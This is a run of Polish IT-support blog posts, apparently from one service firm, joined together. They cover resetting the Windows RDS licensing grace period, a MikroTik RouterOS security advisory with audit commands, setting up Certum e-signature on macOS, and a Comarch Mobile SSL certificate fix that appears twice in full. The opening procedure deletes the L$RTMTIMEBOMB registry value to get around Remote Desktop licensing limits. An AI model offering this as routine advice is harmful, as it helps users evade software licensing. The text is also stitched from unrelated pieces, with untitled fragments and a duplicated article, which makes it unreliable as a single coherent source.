Środowisko: Windows Server z rolą Pulpitu zdalnego (RDS)
Uprawnienia: administrator lokalny
Czas: ok. 10 minut + restart

Przygotowanie

• Zaloguj się na serwer RDS na koncie z uprawnieniami administratora lokalnego.
• Wykonaj snapshot maszyny wirtualnej lub kopię zapasową – modyfikujesz rejestr systemowy.
• Zaplanuj okno serwisowe – na końcu wymagany jest restart serwera i rozłączenie sesji użytkowników.

Procedura w skrócie

1. Zmiana właściciela i uprawnień klucza rejestru RCM\GracePeriod
2. Usunięcie wartości „timebomb” (L$RTMTIMEBOMB_…)
3. Ponowne uruchomienie serwera

Instrukcja krok po kroku

1. Otwórz Edytor rejestru

Naciśnij Win + R, wpisz regedit i zatwierdź klawiszem Enter. Potwierdź monit kontroli konta użytkownika (UAC). Edytor rejestru musi być uruchomiony z uprawnieniami administratora.

Rys. 1. Otwarty Edytor rejestru – gałąź HKEY_LOCAL_MACHINE.

2. Przejdź do klucza GracePeriod

Rozwiń kolejno gałęzie rejestru lub wklej poniższą ścieżkę w pasku adresu Edytora rejestru:

Komputer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\RCM\GracePeriod

Rys. 2. Zaznaczony klucz GracePeriod – pełna ścieżka widoczna na pasku stanu.

3. Otwórz uprawnienia klucza

Kliknij klucz GracePeriod prawym przyciskiem myszy i wybierz pozycję Uprawnienia…

Rys. 3. Menu kontekstowe klucza GracePeriod – pozycja „Uprawnienia…”.

4. Przejdź do ustawień zaawansowanych

Domyślnie nawet grupa Administratorzy nie ma prawa modyfikacji tego klucza, dlatego najpierw trzeba przejąć go na własność. W oknie Uprawnienia dla GracePeriod kliknij przycisk Zaawansowane.

Rys. 4. Okno „Uprawnienia dla GracePeriod” – przycisk „Zaawansowane”.

5. Przejmij klucz na własność

W oknie Zaawansowane ustawienia zabezpieczeń dla: GracePeriod kliknij odnośnik Zmień obok pozycji Właściciel.

1. W polu nazwy obiektu wpisz konto lub grupę, która ma zostać właścicielem klucza (np. Administratorzy albo nazwę swojego konta).
2. Kliknij Sprawdź nazwy, a następnie OK.
3. Zaznacz opcje Zamień właściciela dla podkontenerów i obiektów oraz Zamień wszystkie wpisy uprawnień obiektów podrzędnych na dziedziczone wpisy uprawnień z tego obiektu.
4. Kliknij Zastosuj i potwierdź komunikat o zamianie uprawnień przyciskiem Tak.

Rys. 5. Okno zaawansowanych ustawień zabezpieczeń – zmiana właściciela klucza i lista wpisów uprawnień.

6. Nadaj pełną kontrolę

Po zmianie właściciela wróć do okna Uprawnienia dla GracePeriod, zaznacz na liście grupę Administratorzy (lub wybrane wcześniej konto) i w kolumnie Zezwalaj zaznacz Pełna kontrola. Zatwierdź przyciskiem Zastosuj, a następnie OK. Teraz zmiana wartości w kluczu nie będzie zwracać błędu odmowy dostępu.

Wskazówka
Jeżeli wybrane konto nie znajduje się na liście, kliknij Dodaj…, wpisz jego nazwę, potwierdź przyciskiem Sprawdź nazwy, a następnie nadaj mu uprawnienie „Pełna kontrola”.

7. Usuń wartość „timebomb”

W prawym panelu, w kluczu GracePeriod, znajduje się wartość typu REG_BINARY o nazwie rozpoczynającej się od L$RTMTIMEBOMB_ (dalsza część nazwy to identyfikator GUID, inny na każdym serwerze). Kliknij tę wartość prawym przyciskiem myszy, wybierz Usuń i potwierdź operację przyciskiem Tak.

Rys. 6. Wartość L$RTMTIMEBOMB_… w kluczu GracePeriod.

Rys. 7. Menu kontekstowe wartości – polecenie „Usuń”.

Nie usuwaj całego klucza
Usuwana jest wyłącznie wartość L$RTMTIMEBOMB_…. Wartość (Domyślna) oraz sam klucz GracePeriod pozostają nienaruszone.

8. Uruchom ponownie serwer

Zamknij Edytor rejestru i wykonaj restart serwera: menu Start → Zasilanie → Uruchom ponownie lub polecenie shutdown /r /t 0 w wierszu polecenia uruchomionym jako administrator. Zmiana zaczyna obowiązywać dopiero po ponownym uruchomieniu systemu.

Rys. 8. Ponowne uruchomienie serwera z menu Start.

FILM:

Co się stało

Zespół CERT Polska poinformował o wydaniu nowych wersji RouterOS zawierających poprawki bezpieczeństwa. Podatność została załatana, ale MikroTik świadomie nie publikuje jej szczegółów – chce dać administratorom czas na zabezpieczenie urządzeń, zanim opis luki trafi do publicznego obiegu.

Producent w komunikacie do wydania podkreśla dwie rzeczy jednocześnie: to ważna aktualizacja bezpieczeństwa oraz większość konfiguracji nie jest zagrożona. Mimo tego drugiego zdania zalecenie aktualizacji obejmuje wszystkich użytkowników – bez wyjątków i bez „u nas to nie dotyczy”.

Wersje z poprawką

Łatki trafiły do wszystkich kanałów RouterOS:

Poprawka jest dostępna w każdej gałęzi, więc nie ma powodu, by zwlekać z aktualizacją „do czasu, gdy pojawi się wersja w naszym kanale”.

Jedna uwaga dla środowisk trzymanych na long-term: nowym wydaniem long-term jest 7.23.4. Jeśli infrastruktura pracuje na starszej gałęzi long-term (np. 7.21.x), aktualizacja oznacza przeskok o dwie wersje minor i większy zakres zmian konfiguracyjnych niż zwykły update poprawkowy. Nie jest to argument, żeby jej nie robić – jest to argument, żeby zrobić ją w kontrolowanym oknie serwisowym, z eksportem konfiguracji i planem wycofania.

Aktualizacja to dopiero połowa pracy

To najważniejszy fragment komunikatu CERT Polska i to on najczęściej ginie w pośpiechu.

Po wykonaniu upgrade’u RouterOS sam przeprowadza kontrolę konfiguracji. Jeśli wykryje oznaki nieautoryzowanego dostępu, ustawia urządzenie w stanie „Flagged”, a odpowiedni komunikat krytyczny zapisuje w sekcji Log. Pierwszą czynnością po restarcie powinno być więc zajrzenie do logów – nie sprawdzenie, czy „internet działa”.

Brak statusu „Flagged” nie jest jednak certyfikatem czystości. Mechanizm wykrywa znane wzorce, nie wszystko. Dlatego po aktualizacji należy przejrzeć konfigurację ręcznie, szukając elementów, których nikt z zespołu nie dodawał: nieznanych użytkowników, skryptów, harmonogramów, tuneli, reguł NAT.

Status „Flagged” – co oznacza i czego nie robić

RouterOS podczas uruchamiania może przeanalizować konfigurację pod kątem śladów nieautoryzowanego dostępu. Gdy wykryje podejrzane elementy, wyłącza je i ustawia parametr flagged na yes. Urządzenie przechodzi wtedy w specjalny stan z ograniczeniami:

• blokowane są narzędzia takie jak bandwidth-test, traffic-generator i sniffer,
• system nie pozwala tworzyć nowych wpisów m.in. dla harmonogramów, serwera SOCKS, PPTP, L2TP, IPsec, proxy i SMB.

Podstawowa konfiguracja nadal działa, co bywa mylące – kusi, żeby po prostu wyjść ze stanu „Flagged” i wrócić do pracy. To najgorsza możliwa reakcja. Zalecenie MikroTika jest jednoznaczne: pojawienie się tego statusu należy traktować jako założenie, że urządzenie zostało skompromitowane, i przeprowadzić pełny audyt konfiguracji.

Kolejność działań powinna wyglądać tak:

1. pełny przegląd konfiguracji pod kątem nieznanych użytkowników, skryptów, reguł i zmian, których nikt nie wprowadzał,
2. zmiana wszystkich haseł systemowych (oraz kluczy SSH i tokenów integracji),
3. aktualizacja RouterOS do najnowszej dostępnej wersji,
4. dopiero na końcu wyjście ze stanu „Flagged”, zgodnie z dokumentacją producenta,
5. przywrócenie urządzenia do normalnej eksploatacji.

To, że RouterOS automatycznie wyłączył podejrzane elementy, nie znaczy, że wyłączył wszystkie. Automat nie zwalnia z audytu.

Co sprawdzić po aktualizacji – szybka lista kontrolna

Minimalny zakres weryfikacji z poziomu terminala:

# wersja i firmware
/system resource print
/system routerboard print

# ślady w logach
/log print where message~"flagged"

# konta, klucze, dostęp
/user print detail
/user ssh-keys print
/ip service print
/ip firewall filter print detail

# najczęstsze miejsca ukrywania persystencji
/system script print detail
/system scheduler print detail
/file print
/ip socks print
/ip proxy print
/ip firewall nat print detail
/ppp secret print detail
/interface print detail
/ip dns print detail
/tool e-mail print
/ip cloud print
/certificate print

Na co zwracać szczególną uwagę: skrypty i harmonogramy uruchamiające fetch, konta serwisowe o nazwach zbliżonych do istniejących, włączony SOCKS lub proxy, nieznane tunele (L2TP, PPTP, SSTP, WireGuard, EoIP, GRE), podmienione serwery DNS, reguły dst-nat przekierowujące ruch do środka sieci oraz pliki .rsc i backupy, których nikt nie wgrywał.

Po zakończeniu upgrade’u RouterOS warto też zaktualizować firmware urządzenia (System → RouterBOARD → Upgrade) i wykonać restart – bez tego część poprawek niskopoziomowych nie zostanie zastosowana.

Czy znamy szczegóły podatności?

Nie. Na moment publikacji tego wpisu nie ma przypisanych numerów CVE, nie opublikowano opisu technicznego ani publicznego PoC. MikroTik zapowiada uzupełnienie informacji w późniejszym terminie, a CERT Polska poinformował, że zaktualizuje swój komunikat po oficjalnym ujawnieniu szczegółów.

W changelogu wydania stabilnego znajduje się wpis o refaktoryzacji wewnętrznych procesów SSH i część społeczności łączy go z poprawką bezpieczeństwa. To wyłącznie spekulacja – podobny wpis pojawił się także w poprzednim wydaniu, a producent nie potwierdził żadnego wektora. Nie należy na tej podstawie zakładać, że wystarczy ograniczyć dostęp do SSH zamiast aktualizować.

Warto natomiast pamiętać o tym, jak działa okno czasowe przy takich wydaniach. Producent wstrzymuje szczegóły, bo różnica między wersją poprzednią a poprawioną znacznie zawęża obszar poszukiwań dla analityków – zarówno tych po dobrej, jak i po złej stronie. Historycznie odstęp między publikacją łatki MikroTika a pojawieniem się analizy w sieci liczony był w dniach, nie tygodniach.

Uwagi praktyczne z pierwszych godzin po wydaniu

• W pierwszych godzinach po publikacji zgłaszano problemy z funkcją Check For Updates i opóźnienia serwerów mirror. Jeśli aktualizacja „przechodzi”, a po restarcie urządzenie zgłasza starą wersję – powtórz próbę lub wgraj pakiet ręcznie z strony pobierania MikroTika.
• Przed aktualizacją: eksport konfiguracji (/export file=) i backup binarny, oba zapisane poza urządzeniem.
• Zapewnij urządzeniu stabilne zasilanie na czas upgrade’u i wolne miejsce w pamięci na pakiety.
• Zdalne oddziały aktualizuj z dostępem out-of-band, jeśli nim dysponujesz.

Rekomendacja

Kolejność jest prosta i nie warto jej zmieniać: zaktualizuj, sprawdź logi, przejrzyj konfigurację, wymień hasła. Sama instalacja poprawki nie zamyka tematu – zamyka go dopiero potwierdzenie, że w konfiguracji nie ma śladów cudzej obecności.

Jeśli w Twojej sieci pracuje kilkadziesiąt urządzeń MikroTik w rozproszonych lokalizacjach, ręczne przejście przez tę listę na każdym z nich to realny problem organizacyjny. W DSERVE prowadzimy takie akcje aktualizacyjne dla klientów w ramach usług utrzymania infrastruktury i monitoringu 24/7 – od inwentaryzacji wersji, przez kontrolowane okna serwisowe, po audyt konfiguracji po upgrade’zie i weryfikację śladów kompromitacji.

Potrzebujesz wsparcia przy tej aktualizacji? Skontaktuj się z nami.

Źródła

• CERT Polska – komunikat o poprawkach bezpieczeństwa RouterOS
• RouterOS 6.49.21 (long-term)
• RouterOS 7.23.4 (long-term)
• RouterOS 7.24.2 (stable)
• RouterOS 7.25beta (development)
• MikroTik – strona bezpieczeństwa

Poniżej przedstawiamy krótką instrukcję konfiguracji.

Czego potrzebujesz?

Przed rozpoczęciem upewnij się, że:

• posiadasz aktywny kwalifikowany podpis elektroniczny Certum,
• karta kryptograficzna znajduje się w czytniku podłączonym do komputera,
• na komputerze zainstalowane jest oprogramowanie do obsługi karty Certum, w tym proCertum CardManager,
• korzystasz z aktualnej wersji systemu macOS.

Producent podpisu Certum wskazuje, że oprogramowanie do zarządzania kartą oraz prawidłowo podłączony czytnik są niezbędne, aby aplikacja mogła odczytać certyfikat.

Krok 1. Pobierz aplikację Podpis GOV

Aplikację Podpis GOV należy pobrać z oficjalnej strony rządowej. Program umożliwia korzystanie z kwalifikowanego podpisu elektronicznego podczas podpisywania dokumentów oraz obsługi wybranych usług publicznych.

Aplikacja jest dostępna między innymi dla systemu macOS.

Po pobraniu:

1. otwórz pobrany plik instalacyjny,
2. zainstaluj aplikację,
3. uruchom Podpis GOV.

Krok 2. Dodaj dostawcę podpisu

Jeżeli aplikacja nie wykryje automatycznie certyfikatu Certum:

1. uruchom aplikację Podpis GOV,
2. wybierz opcję dodania nowego wystawcy lub dostawcy certyfikatu,
3. wybierz możliwość wskazania biblioteki z dysku,
4. przejdź do pliku sterownika PKCS#11.

W przypadku fizycznej karty kryptograficznej Certum w systemie macOS właściwa ścieżka to:

/usr/local/lib/libcryptoCertum3PKCS.dylib

Ścieżka ta jest wskazywana w oficjalnej dokumentacji pomocy Certum dla systemu macOS.

Ważne: ścieżka rozpoczyna się od znaku /, czyli katalogu głównego systemu.

Krok 3. Zaakceptuj bibliotekę i wybierz certyfikat

Po wskazaniu pliku:

1. zatwierdź wybór biblioteki PKCS#11,
2. poczekaj, aż aplikacja odczyta certyfikaty z karty,
3. wybierz właściwy certyfikat kwalifikowany,
4. kliknij przycisk zatwierdzający wybór certyfikatu.

Jeżeli certyfikat zostanie poprawnie wykryty, możesz przejść do podpisywania dokumentu.

Jak podpisać dokument?

Po zakończeniu konfiguracji:

1. wejdź na stronę podpis.gov.pl lub uruchom usługę, która wymaga podpisu kwalifikowanego,
2. dodaj dokument,
3. jako metodę podpisu wybierz podpis kwalifikowany,
4. uruchom aplikację Podpis GOV,
5. wybierz certyfikat Certum,
6. wprowadź kod PIN do karty,
7. zaakceptuj operację podpisania dokumentu,
8. pobierz podpisany plik.

Aktualna usługa podpis.gov.pl pozwala dodać dokument, wybrać metodę podpisania, a następnie pobrać podpisany plik po zakończeniu procesu.

Co zrobić, jeśli nie widzisz pliku PKCS#11?

Jeżeli w lokalizacji /usr/local/lib/ nie znajduje się plik libcryptoCertum3PKCS.dylib, sprawdź:

• czy zainstalowano aktualne oprogramowanie Certum dla macOS,
• czy instalacja została zakończona poprawnie,
• czy karta i czytnik są widoczne w aplikacji proCertum CardManager,
• czy aplikacja Podpis GOV została ponownie uruchomiona po instalacji sterowników.

Pomocne może być również ponowne uruchomienie komputera.

Podsumowanie

Aby używać podpisu kwalifikowanego Certum na macOS w aplikacji Podpis GOV, najważniejsze jest ręczne wskazanie właściwej biblioteki PKCS#11:

/usr/local/lib/libcryptoCertum3PKCS.dylib

Po zatwierdzeniu biblioteki aplikacja powinna odczytać certyfikat z karty i umożliwić podpisywanie dokumentów kwalifikowanym podpisem elektronicznym.

Dzięki tej konfiguracji użytkownicy komputerów Mac mogą korzystać z podpisu Certum również w usługach administracji publicznej wymagających aplikacji Podpis GOV.

W ostatnich dniach część użytkowników Comarch Mobile / Mobilnej Sprzedaży mogła napotkać problem z synchronizacją aplikacji mobilnej z Comarch ERP Optima. Objawem awarii jest brak możliwości wykonania synchronizacji oraz błąd TLS/SSL widoczny w logach serwera synchronizacji.

Najczęściej pojawiający się komunikat wygląda następująco:

javax.net.ssl.SSLHandshakeException: Received fatal alert: certificate_unknown

Problem może wystąpić również równolegle z błędami Comarch Auto Update, w tym z brakiem możliwości uruchomienia usługi:

Comarch AutoUpdate Service

Poniżej opisujemy, co oznacza ten błąd oraz jakie kroki należy wykonać, aby przywrócić działanie synchronizacji.

Objawy problemu

Najczęstsze objawy awarii:

• brak synchronizacji Mobilnej Sprzedaży z Comarch ERP Optima,
• błąd SSL/TLS w logach serwera synchronizacji,
• komunikat:

SSLHandshakeException: Received fatal alert: certificate_unknown

• problemy z Comarch Auto Update,
• brak możliwości uruchomienia usługi Comarch AutoUpdate Service,
• aplikacje mobilne nie mogą połączyć się poprawnie z serwerem synchronizacji.

Co oznacza błąd certificate_unknown?

Błąd:

javax.net.ssl.SSLHandshakeException: Received fatal alert: certificate_unknown

oznacza, że podczas zestawiania szyfrowanego połączenia TLS jedna ze stron połączenia nie akceptuje certyfikatu używanego przez drugą stronę.

W praktyce, w przypadku Comarch Mobile, problem dotyczy komunikacji pomiędzy:

• aplikacją Mobilnej Sprzedaży na urządzeniu mobilnym,
• serwerem synchronizacji Comarch Mobile,
• środowiskiem Comarch ERP Optima.

Nie jest to typowy problem z Internetem, Wi-Fi ani samym tabletem. To problem związany z certyfikatem/kluczem wykorzystywanym przez usługę synchronizacji.

Rozwiązanie problemu

Rozwiązanie polega na zastosowaniu poprawki odpowiedniej dla używanej wersji Comarch Mobile.

W zależności od wersji systemu należy pobrać właściwy pakiet poprawki:

• Comarch Mobile 2026.0.3
  Pobierz poprawkę
• Comarch Mobile 2026.0.5
  Pobierz poprawkę
• Comarch Mobile 2026.1.0
  Pobierz poprawkę
• Comarch Mobile 2026.1.1
  Pobierz poprawkę

Procedura naprawy krok po kroku

1. Sprawdź wersję Comarch Mobile

Na początku należy ustalić, z której wersji Comarch Mobile korzysta firma. Jest to kluczowe, ponieważ poprawka musi być zgodna z wersją systemu.

Nie należy instalować przypadkowej wersji poprawki.

2. Pobierz właściwą poprawkę

Po ustaleniu wersji Comarch Mobile należy pobrać odpowiedni pakiet poprawki z listy powyżej.

Po pobraniu plik należy rozpakować.

3. Zatrzymaj usługę Comarch Mobile Server

Na serwerze należy zatrzymać usługę:

Comarch Mobile Server

Można to zrobić z poziomu services.msc lub z PowerShell uruchomionego jako administrator.

Przykładowo:

Get-Service *Comarch*

Następnie należy zatrzymać odpowiednią usługę serwera synchronizacji.

4. Wykonaj kopię obecnego pliku

Przed podmianą pliku warto wykonać kopię obecnego pliku serverkey.

Domyślna lokalizacja:

C:\Program Files (x86)\Comarch Mobile\Serwer synchronizacji

W tym katalogu należy odszukać obecny plik certyfikatu/klucza i wykonać jego kopię, np. do osobnego folderu:

C:\Backup_Comarch_Mobile\

5. Podmień plik serverkey-valid-until-2036.jks

Z rozpakowanej poprawki należy skopiować plik:

serverkey-valid-until-2036.jks

do katalogu:

C:\Program Files (x86)\Comarch Mobile\Serwer synchronizacji

czyli do domyślnej lokalizacji serwera synchronizacji Comarch Mobile.

6. Uruchom usługę Comarch Mobile Server

Po podmianie pliku należy ponownie uruchomić usługę:

Comarch Mobile Server

Następnie warto sprawdzić logi i upewnić się, że usługa działa poprawnie oraz nie zwraca już błędów SSL.

Czy sama podmiana pliku na serwerze wystarczy?

W wielu przypadkach sama podmiana pliku na serwerze może nie wystarczyć.

Zgodnie z opisem poprawki należy również zaktualizować aplikację Comarch Mobile na urządzeniach mobilnych, instalując dostarczony plik:

3.Vendor.Core.apk

Oznacza to, że pełna naprawa może wymagać działania również na tabletach lub innych urządzeniach z Mobilną Sprzedażą.

Bardzo ważne ostrzeżenie dla wersji 2026.1.0 i 2026.1.1

W przypadku wersji:

Comarch Mobile 2026.1.0
Comarch Mobile 2026.1.1

nie należy odinstalowywać dotychczasowej aplikacji z urządzenia mobilnego.

Należy przenieść plik APK na urządzenie i uruchomić go bez wcześniejszej deinstalacji aplikacji.

Odinstalowanie aplikacji może skutkować usunięciem lokalnych plików bazodanowych z urządzenia.

Rekomendowana kolejność:

1. Przenieść plik 3.Vendor.Core.apk na urządzenie mobilne.
2. Uruchomić instalator APK.
3. Zainstalować poprawkę na istniejącej aplikacji.
4. Uruchomić aplikację Comarch Mobile.
5. Przejść konfigurację.
6. Wykonać synchronizację.

Co z Comarch Auto Update?

Jeżeli Comarch Auto Update działa poprawnie, alternatywnym rozwiązaniem może być aktualizacja Comarch Mobile do nowszej wersji:

• 2026.0.6,
• 2026.1.2,

w zależności od używanej wersji systemu ERP.

Jeżeli jednak usługa Comarch AutoUpdate Service nie uruchamia się, najbezpieczniejszym rozwiązaniem jest ręczne zastosowanie poprawki opisanej powyżej.

W przypadku problemów z Auto Update warto sprawdzić:

• czy usługa Comarch AutoUpdate Service istnieje w systemie,
• czy uruchamiana jest na właściwym koncie,
• czy konto usługi ma dostęp do katalogów Comarch,
• czy nie brakuje plików po nieudanej aktualizacji,
• czy antywirus lub EDR nie zablokował któregoś z komponentów,
• logi systemowe Windows,
• logi Comarch Auto Update.

Czy można naprawić problem bez ingerencji w tablety?

W praktyce: nie zawsze.

Jeżeli problem dotyczy wyłącznie pliku po stronie serwera synchronizacji, wystarczająca może być podmiana pliku .jks i restart usługi Comarch Mobile Server.

Jeżeli jednak aplikacje mobilne nadal nie synchronizują danych, konieczna będzie instalacja poprawki APK na urządzeniach mobilnych.

Najważniejsze: w wersjach 2026.1.0 i 2026.1.1 nie należy odinstalowywać aplikacji przed instalacją poprawki.

Co zrobić z kopią utworzoną przed aktualizacją Auto Update?

Kopia utworzona przed aktualizacją Auto Update może być przydatna do przywrócenia stanu sprzed nieudanej aktualizacji, ale nie zawsze rozwiąże problem certyfikatu certificate_unknown.

Zalecane podejście:

1. Zachować kopię bezpieczeństwa.
2. Nie nadpisywać jej nowymi plikami.
3. W pierwszej kolejności zastosować poprawkę właściwą dla wersji Comarch Mobile.
4. Jeżeli usługi Comarch nie uruchamiają się po aktualizacji, rozważyć przywrócenie plików z kopii.
5. Przed przywracaniem zatrzymać usługi Comarch.
6. Po przywróceniu uruchomić usługi i sprawdzić logi.

Ważne: przywracanie kopii należy wykonywać ostrożnie, najlepiej po wcześniejszym zabezpieczeniu aktualnego stanu katalogów.

Podsumowanie

Błąd:

javax.net.ssl.SSLHandshakeException: Received fatal alert: certificate_unknown

w Comarch Mobile oznacza problem z obsługą certyfikatu podczas komunikacji aplikacji mobilnej z serwerem synchronizacji.

Najczęściej rozwiązanie obejmuje:

• pobranie poprawki odpowiedniej dla używanej wersji Comarch Mobile,
• zatrzymanie usługi Comarch Mobile Server,
• podmianę pliku serverkey-valid-until-2036.jks,
• ponowne uruchomienie usługi,
• instalację poprawki APK na urządzeniach mobilnych,
• wykonanie synchronizacji.

W przypadku większej liczby urządzeń mobilnych warto zaplanować działania serwisowe i wcześniej zabezpieczyć dane, szczególnie przy wersjach 2026.1.0 oraz 2026.1.1.

Potrzebujesz pomocy z Comarch ERP Optima lub Comarch Mobile?

Jeżeli w Twojej firmie wystąpił problem z synchronizacją Mobilnej Sprzedaży, Comarch Auto Update lub środowiskiem Comarch ERP Optima, możemy pomóc w analizie i przywróceniu działania systemu.

DSERVE wspiera firmy w zakresie administracji, bezpieczeństwa, utrzymania infrastruktury IT oraz systemów biznesowych.

Awaria Comarch Mobile: SSLHandshakeException: certificate_unknown – jak naprawić synchronizację Mobilnej Sprzedaży z Optimą

Wprowadzenie

W ostatnich dniach część użytkowników Comarch Mobile / Mobilnej Sprzedaży mogła napotkać problem z synchronizacją aplikacji mobilnej z Comarch ERP Optima. Objawem awarii jest brak możliwości wykonania synchronizacji oraz błąd TLS/SSL widoczny w logach serwera synchronizacji.

Najczęściej pojawiający się komunikat wygląda następująco:

javax.net.ssl.SSLHandshakeException: Received fatal alert: certificate_unknown

Problem może wystąpić również równolegle z błędami Comarch Auto Update, w tym z brakiem możliwości uruchomienia usługi:

Comarch AutoUpdate Service

Poniżej opisujemy, co oznacza ten błąd oraz jakie kroki należy wykonać, aby przywrócić działanie synchronizacji.

Objawy problemu

Najczęstsze objawy awarii:

• brak synchronizacji Mobilnej Sprzedaży z Comarch ERP Optima,
• błąd SSL/TLS w logach serwera synchronizacji,
• komunikat:

SSLHandshakeException: Received fatal alert: certificate_unknown

• problemy z Comarch Auto Update,
• brak możliwości uruchomienia usługi Comarch AutoUpdate Service,
• aplikacje mobilne nie mogą połączyć się poprawnie z serwerem synchronizacji.

Co oznacza błąd certificate_unknown?

Błąd:

javax.net.ssl.SSLHandshakeException: Received fatal alert: certificate_unknown

oznacza, że podczas zestawiania szyfrowanego połączenia TLS jedna ze stron połączenia nie akceptuje certyfikatu używanego przez drugą stronę.

W praktyce, w przypadku Comarch Mobile, problem dotyczy komunikacji pomiędzy:

• aplikacją Mobilnej Sprzedaży na urządzeniu mobilnym,
• serwerem synchronizacji Comarch Mobile,
• środowiskiem Comarch ERP Optima.

Nie jest to typowy problem z Internetem, Wi-Fi ani samym tabletem. To problem związany z certyfikatem/kluczem wykorzystywanym przez usługę synchronizacji.

Rozwiązanie problemu

Rozwiązanie polega na zastosowaniu poprawki odpowiedniej dla używanej wersji Comarch Mobile.

W zależności od wersji systemu należy pobrać właściwy pakiet poprawki:

• Comarch Mobile 2026.0.3
  Pobierz poprawkę
• Comarch Mobile 2026.0.5
  Pobierz poprawkę
• Comarch Mobile 2026.1.0
  Pobierz poprawkę
• Comarch Mobile 2026.1.1
  Pobierz poprawkę

Procedura naprawy krok po kroku

1. Sprawdź wersję Comarch Mobile

Na początku należy ustalić, z której wersji Comarch Mobile korzysta firma. Jest to kluczowe, ponieważ poprawka musi być zgodna z wersją systemu.

Nie należy instalować przypadkowej wersji poprawki.

2. Pobierz właściwą poprawkę

Po ustaleniu wersji Comarch Mobile należy pobrać odpowiedni pakiet poprawki z listy powyżej.

Po pobraniu plik należy rozpakować.

3. Zatrzymaj usługę Comarch Mobile Server

Na serwerze należy zatrzymać usługę:

Comarch Mobile Server

Można to zrobić z poziomu services.msc lub z PowerShell uruchomionego jako administrator.

Przykładowo:

Get-Service *Comarch*

Następnie należy zatrzymać odpowiednią usługę serwera synchronizacji.

4. Wykonaj kopię obecnego pliku

Przed podmianą pliku warto wykonać kopię obecnego pliku serverkey.

Domyślna lokalizacja:

C:\Program Files (x86)\Comarch Mobile\Serwer synchronizacji

W tym katalogu należy odszukać obecny plik certyfikatu/klucza i wykonać jego kopię, np. do osobnego folderu:

C:\Backup_Comarch_Mobile\

5. Podmień plik serverkey-valid-until-2036.jks

Z rozpakowanej poprawki należy skopiować plik:

serverkey-valid-until-2036.jks

do katalogu:

C:\Program Files (x86)\Comarch Mobile\Serwer synchronizacji

czyli do domyślnej lokalizacji serwera synchronizacji Comarch Mobile.

6. Uruchom usługę Comarch Mobile Server

Po podmianie pliku należy ponownie uruchomić usługę:

Comarch Mobile Server

Następnie warto sprawdzić logi i upewnić się, że usługa działa poprawnie oraz nie zwraca już błędów SSL.

Czy sama podmiana pliku na serwerze wystarczy?

W wielu przypadkach sama podmiana pliku na serwerze może nie wystarczyć.

Zgodnie z opisem poprawki należy również zaktualizować aplikację Comarch Mobile na urządzeniach mobilnych, instalując dostarczony plik:

3.Vendor.Core.apk

Oznacza to, że pełna naprawa może wymagać działania również na tabletach lub innych urządzeniach z Mobilną Sprzedażą.

Bardzo ważne ostrzeżenie dla wersji 2026.1.0 i 2026.1.1

W przypadku wersji:

Comarch Mobile 2026.1.0
Comarch Mobile 2026.1.1

nie należy odinstalowywać dotychczasowej aplikacji z urządzenia mobilnego.

Należy przenieść plik APK na urządzenie i uruchomić go bez wcześniejszej deinstalacji aplikacji.

Odinstalowanie aplikacji może skutkować usunięciem lokalnych plików bazodanowych z urządzenia.

Rekomendowana kolejność:

1. Przenieść plik 3.Vendor.Core.apk na urządzenie mobilne.
2. Uruchomić instalator APK.
3. Zainstalować poprawkę na istniejącej aplikacji.
4. Uruchomić aplikację Comarch Mobile.
5. Przejść konfigurację.
6. Wykonać synchronizację.

Co z Comarch Auto Update?

Jeżeli Comarch Auto Update działa poprawnie, alternatywnym rozwiązaniem może być aktualizacja Comarch Mobile do nowszej wersji:

• 2026.0.6,
• 2026.1.2,

w zależności od używanej wersji systemu ERP.

Jeżeli jednak usługa Comarch AutoUpdate Service nie uruchamia się, najbezpieczniejszym rozwiązaniem jest ręczne zastosowanie poprawki opisanej powyżej.

W przypadku problemów z Auto Update warto sprawdzić:

• czy usługa Comarch AutoUpdate Service istnieje w systemie,
• czy uruchamiana jest na właściwym koncie,
• czy konto usługi ma dostęp do katalogów Comarch,
• czy nie brakuje plików po nieudanej aktualizacji,
• czy antywirus lub EDR nie zablokował któregoś z komponentów,
• logi systemowe Windows,
• logi Comarch Auto Update.

Czy można naprawić problem bez ingerencji w tablety?

W praktyce: nie zawsze.

Jeżeli problem dotyczy wyłącznie pliku po stronie serwera synchronizacji, wystarczająca może być podmiana pliku .jks i restart usługi Comarch Mobile Server.

Jeżeli jednak aplikacje mobilne nadal nie synchronizują danych, konieczna będzie instalacja poprawki APK na urządzeniach mobilnych.

Najważniejsze: w wersjach 2026.1.0 i 2026.1.1 nie należy odinstalowywać aplikacji przed instalacją poprawki.

Co zrobić z kopią utworzoną przed aktualizacją Auto Update?

Kopia utworzona przed aktualizacją Auto Update może być przydatna do przywrócenia stanu sprzed nieudanej aktualizacji, ale nie zawsze rozwiąże problem certyfikatu certificate_unknown.

Zalecane podejście:

1. Zachować kopię bezpieczeństwa.
2. Nie nadpisywać jej nowymi plikami.
3. W pierwszej kolejności zastosować poprawkę właściwą dla wersji Comarch Mobile.
4. Jeżeli usługi Comarch nie uruchamiają się po aktualizacji, rozważyć przywrócenie plików z kopii.
5. Przed przywracaniem zatrzymać usługi Comarch.
6. Po przywróceniu uruchomić usługi i sprawdzić logi.

Ważne: przywracanie kopii należy wykonywać ostrożnie, najlepiej po wcześniejszym zabezpieczeniu aktualnego stanu katalogów.

Podsumowanie

Błąd:

javax.net.ssl.SSLHandshakeException: Received fatal alert: certificate_unknown

w Comarch Mobile oznacza problem z obsługą certyfikatu podczas komunikacji aplikacji mobilnej z serwerem synchronizacji.

Najczęściej rozwiązanie obejmuje:

• pobranie poprawki odpowiedniej dla używanej wersji Comarch Mobile,
• zatrzymanie usługi Comarch Mobile Server,
• podmianę pliku serverkey-valid-until-2036.jks,
• ponowne uruchomienie usługi,
• instalację poprawki APK na urządzeniach mobilnych,
• wykonanie synchronizacji.

W przypadku większej liczby urządzeń mobilnych warto zaplanować działania serwisowe i wcześniej zabezpieczyć dane, szczególnie przy wersjach 2026.1.0 oraz 2026.1.1.

Potrzebujesz pomocy z Comarch ERP Optima lub Comarch Mobile?

Jeżeli w Twojej firmie wystąpił problem z synchronizacją Mobilnej Sprzedaży, Comarch Auto Update lub środowiskiem Comarch ERP Optima, możemy pomóc w analizie i przywróceniu działania systemu.

DSERVE wspiera firmy w zakresie administracji, bezpieczeństwa, utrzymania infrastruktury IT oraz systemów biznesowych.

Skontaktuj się z nami, jeżeli potrzebujesz szybkiej pomocy technicznej lub stałej opieki nad środowiskiem IT.

2026-04-27 13:13:53: javax.net.ssl.SSLHandshakeException: Received fatal alert: certificate_unknown
